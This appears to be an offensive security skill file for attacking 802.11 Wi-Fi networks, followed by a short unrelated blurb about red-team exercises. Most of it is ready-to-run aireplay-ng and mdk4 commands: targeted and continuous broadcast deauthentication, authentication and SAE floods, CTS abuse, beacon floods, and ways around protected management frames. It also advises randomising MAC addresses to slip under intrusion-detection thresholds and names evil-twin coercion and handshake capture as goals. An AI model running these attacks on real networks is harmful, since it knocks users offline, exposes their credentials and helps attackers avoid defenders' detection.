Assess Wi-Fi disconnection and reconnection behavior using deauthentication and disassociation tests. The skill covers client targeting, handshake capture, protected management frames, transmission scope and rate, and reporting observed effects and detection signals.
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Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.
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The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
Used to force handshake capture, push client to evil twin, or test reconnection behavior.
sudo aireplay-ng --deauth 5 \
-a AA:BB:CC:DD:EE:FF \ # AP BSSID
-c 11:22:33:44:55:66 \ # client MAC
wlan0mon
--deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous
# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11
Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored — must use action-frame attacks |
PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood
Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
Confuse clients (and WIPS) by flooding fake beacons:
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file
Use cases:
| Burst | Defender Signal |
|---|---|
| 3–10 deauth, single client | Often misclassified as roaming or RF noise |
| >30 deauth/sec from one source | WIPS rule trips |
| Continuous broadcast deauth | Clear DoS — alert + ticket within minutes |
| Beacon flood >50/sec | Saturates WIPS dashboards |
Randomize source MAC across burst-and-pause cycles to spread the signal.
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>
# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
Document for each test:
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Organize red team exercises that simulate adversaries to assess an organization's detection and response. Covers engagement rules, infrastructure, operational controls, evidence handling, and reports that help security teams review gaps and prioritize improvements.
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